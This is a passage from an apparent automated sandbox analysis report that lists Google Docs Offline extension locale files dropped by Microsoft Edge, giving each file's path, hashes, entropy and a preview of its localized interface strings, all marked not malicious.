Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
